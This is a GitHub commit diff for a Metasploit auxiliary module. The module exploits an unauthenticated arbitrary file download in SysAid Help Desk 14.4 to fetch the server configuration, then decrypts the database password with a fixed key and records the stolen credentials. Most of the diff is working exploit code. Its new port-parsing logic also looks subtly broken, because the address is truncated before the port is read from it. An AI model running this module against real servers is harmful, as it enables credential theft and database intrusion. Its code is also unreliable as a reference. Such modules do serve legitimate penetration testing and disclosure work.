Skip to content

Commit a54b58f

Browse files
committed
Fix port parsing and cleanup
1 parent 50a3a32 commit a54b58f

File tree

1 file changed

+56
-50
lines changed

1 file changed

+56
-50
lines changed

modules/auxiliary/admin/http/sysaid_sql_creds.rb

Lines changed: 56 additions & 50 deletions
Original file line numberDiff line numberDiff line change
@@ -13,13 +13,12 @@ class Metasploit3 < Msf::Auxiliary
1313

1414
def initialize(info={})
1515
super(update_info(info,
16-
'Name' => "SysAid Help Desk Database Credentials Disclosure",
16+
'Name' => 'SysAid Help Desk Database Credentials Disclosure',
1717
'Description' => %q{
18-
This module exploits a vulnerability in SysAid Help Desk that allows
19-
an unauthenticated user to download arbitrary files from the system. This is
20-
used to download the server configuration file that contains the database username
21-
and password, which is encrypted with a fixed key.
22-
This module has been tested with SysAid 14.4 on Windows and Linux.
18+
This module exploits a vulnerability in SysAid Help Desk that allows an unauthenticated
19+
user to download arbitrary files from the system. This is used to download the server
20+
configuration file that contains the database username and password, which is encrypted
21+
with a fixed key. This module has been tested with SysAid 14.4 on Windows and Linux.
2322
},
2423
'Author' =>
2524
[
@@ -28,17 +27,17 @@ def initialize(info={})
2827
'License' => MSF_LICENSE,
2928
'References' =>
3029
[
31-
[ 'CVE', '2015-2996' ],
32-
[ 'CVE', '2015-2998' ],
33-
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ],
34-
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ]
30+
['CVE', '2015-2996'],
31+
['CVE', '2015-2998'],
32+
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ],
33+
['URL', 'http://seclists.org/fulldisclosure/2015/Jun/8']
3534
],
3635
'DisclosureDate' => 'Jun 3 2015'))
3736

3837
register_options(
3938
[
4039
OptPort.new('RPORT', [true, 'The target port', 8080]),
41-
OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']),
40+
OptString.new('TARGETURI', [ true, 'SysAid path', '/sysaid']),
4241
], self.class)
4342
end
4443

@@ -55,7 +54,6 @@ def decrypt_password (ciphertext)
5554
plaintext
5655
end
5756

58-
5957
def run
6058
begin
6159
res = send_request_cgi({
@@ -66,8 +64,7 @@ def run
6664
},
6765
})
6866
rescue Rex::ConnectionRefused
69-
print_error("#{peer} - Could not connect.")
70-
return
67+
fail_with(Failure::Unreachable, "#{peer} - Could not connect.")
7168
end
7269

7370
if res && res.code == 200 && res.body.to_s.bytesize != 0
@@ -76,48 +73,57 @@ def run
7673
database_url = /\<dbUrl\>(.*)\<\/dbUrl\>/.match(res.body.to_s)
7774
database_type = /\<dbType\>(.*)\<\/dbType\>/.match(res.body.to_s)
7875

79-
if username && encrypted_password && database_type && database_url
80-
username = username.captures[0]
81-
encrypted_password = encrypted_password.captures[0]
82-
database_url = database_url.captures[0]
83-
database_type = database_type.captures[0]
84-
password = decrypt_password(encrypted_password[6..encrypted_password.length])
85-
credential_core = report_credential_core({
86-
password: password,
87-
username: username
88-
})
89-
90-
matches = /(\w*):(\w*):\/\/(.*)\/(\w*)/.match(database_url)
91-
if matches
92-
begin
93-
if database_url['localhost'] == 'localhost'
94-
db_address = rhost
76+
unless username && encrypted_password && database_type && database_url
77+
fail_with(Failure::Unknown, "#{peer} - Failed to obtain database credentials.")
78+
end
79+
80+
username = username.captures[0]
81+
encrypted_password = encrypted_password.captures[0]
82+
database_url = database_url.captures[0]
83+
database_type = database_type.captures[0]
84+
password = decrypt_password(encrypted_password[6..encrypted_password.length])
85+
credential_core = report_credential_core({
86+
password: password,
87+
username: username
88+
})
89+
90+
matches = /(\w*):(\w*):\/\/(.*)\/(\w*)/.match(database_url)
91+
if matches
92+
begin
93+
if database_url['localhost'] == 'localhost'
94+
db_address = matches.captures[2]
95+
db_port = db_address[(db_address.index(':') + 1)..(db_address.length - 1)].to_i
96+
db_address = rhost
97+
else
98+
db_address = matches.captures[2]
99+
if db_address.index(':')
100+
db_address = db_address[0, db_address.index(':')]
101+
db_port = db_address[db_address.index(':')..(db_address.length - 1)].to_i
95102
else
96-
db_address = matches.captures[2]
97-
db_address = (db_address.index(':') ? db_address[0, db_address.index(':')] : db_address)
98-
db_address = Rex::Socket.getaddress(db_address, true)
103+
db_port = 0
99104
end
100-
database_login_data = {
101-
address: db_address,
102-
service_name: database_type,
103-
protocol: 'tcp',
104-
workspace_id: myworkspace_id,
105-
core: credential_core,
106-
status: Metasploit::Model::Login::Status::UNTRIED
107-
}
108-
create_credential_login(database_login_data)
109-
# Skip creating the Login, but tell the user about it if we cannot resolve the DB Server Hostname
110-
rescue SocketError
111-
print_error "Could not resolve database server hostname."
105+
db_address = Rex::Socket.getaddress(db_address, true)
112106
end
113-
114-
print_status("#{peer} - Stored SQL credentials #{username}:#{password} for #{matches.captures[2]}")
115-
return
107+
database_login_data = {
108+
address: db_address,
109+
service_name: database_type,
110+
protocol: 'tcp',
111+
port: db_port,
112+
workspace_id: myworkspace_id,
113+
core: credential_core,
114+
status: Metasploit::Model::Login::Status::UNTRIED
115+
}
116+
create_credential_login(database_login_data)
117+
# Skip creating the Login, but tell the user about it if we cannot resolve the DB Server Hostname
118+
rescue SocketError
119+
fail_with(Failure::Unknown, 'Could not resolve database server hostname.')
116120
end
121+
122+
print_status("#{peer} - Stored SQL credentials #{username}:#{password} for #{matches.captures[2]}")
123+
return
117124
end
118-
print_error("#{peer} - Failed to obtain database credentials, response was: #{res.body}")
119125
else
120-
print_error("#{peer} - Failed to obtain database credentials.")
126+
fail_with(Failure::NotVulnerable, "#{peer} - Failed to obtain database credentials, response was: #{res.code}")
121127
end
122128
end
123129

0 commit comments

Comments
 (0)